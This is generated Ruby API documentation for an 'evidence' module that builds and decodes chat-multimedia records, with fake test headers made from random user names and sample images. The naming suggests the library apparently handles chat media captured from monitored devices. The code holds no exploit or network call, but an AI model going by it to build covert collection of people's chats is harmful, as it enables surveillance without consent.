Module: RCS::ChatmmEvidence

Includes:
Chat, Tracer
Defined in:
lib/rcs-common/evidence/chat.rb

Constant Summary

Constants included from Chat

RCS::Chat::CHATMM_NOT_RETRIEVED, RCS::Chat::CHAT_INCOMING, RCS::Chat::CHAT_PROGRAM

Constants included from Tracer

Tracer::TRACE_YAML_NAME

Instance Method Summary collapse

Methods included from Chat

#decode_from_to

Methods included from Tracer

#thread_name, #trace, #trace_ensure_log_folders, #trace_init, #trace_named_put, #trace_named_remove, #trace_nested_pop, #trace_nested_push, #trace_setup

Instance Method Details

#additional_headerObject



149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# File 'lib/rcs-common/evidence/chat.rb', line 149

def additional_header
  program = [CHAT_PROGRAM.keys.sample].pack('L')
  flags = [[0,1].sample].pack('L')
  users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
  from = users.sample.to_utf16le_binary_null
  to = users.sample.to_utf16le_binary_null
  mime = "image/jpeg".to_utf16le_binary_null
  filename = "nice_picture.jpeg".to_utf16le_binary_null

  header = StringIO.new
  t = Time.now.getutc
  header.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
  header.write program
  header.write flags
  header.write from
  header.write from
  header.write to
  header.write to
  header.write mime
  header.write filename

  header.string
end

#contentObject



140
141
142
143
# File 'lib/rcs-common/evidence/chat.rb', line 140

def content
  path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
  File.open(path, 'rb') {|f| f.read }
end

#decode_additional_header(data) ⇒ Object



174
175
176
177
178
179
180
181
182
183
184
185
186
187
# File 'lib/rcs-common/evidence/chat.rb', line 174

def decode_additional_header(data)
 raise EvidenceDeserializeError.new("incomplete CHAT MultiMedia") if data.nil? or data.bytesize == 0

 stream = StringIO.new data
 info = decode_from_to({}, stream)

 content_type = stream.read_utf16le_string
 info[:data][:type] = content_type.utf16le_to_utf8 unless content_type.nil?

 filename = stream.read_utf16le_string
 info[:data][:path] = filename.utf16le_to_utf8 unless filename.nil?

 return info
end

#decode_content(common_info, chunks) {|info| ... } ⇒ Object

Yields:

  • (info)


189
190
191
192
193
194
195
# File 'lib/rcs-common/evidence/chat.rb', line 189

def decode_content(common_info, chunks)
  info = Hash[common_info]
  info[:data] ||= Hash.new
  info[:grid_content] = chunks.join if info[:data][:size] != 0
  yield info if block_given?
  :delete_raw
end

#generate_contentObject



145
146
147
# File 'lib/rcs-common/evidence/chat.rb', line 145

def generate_content
  [ content ]
end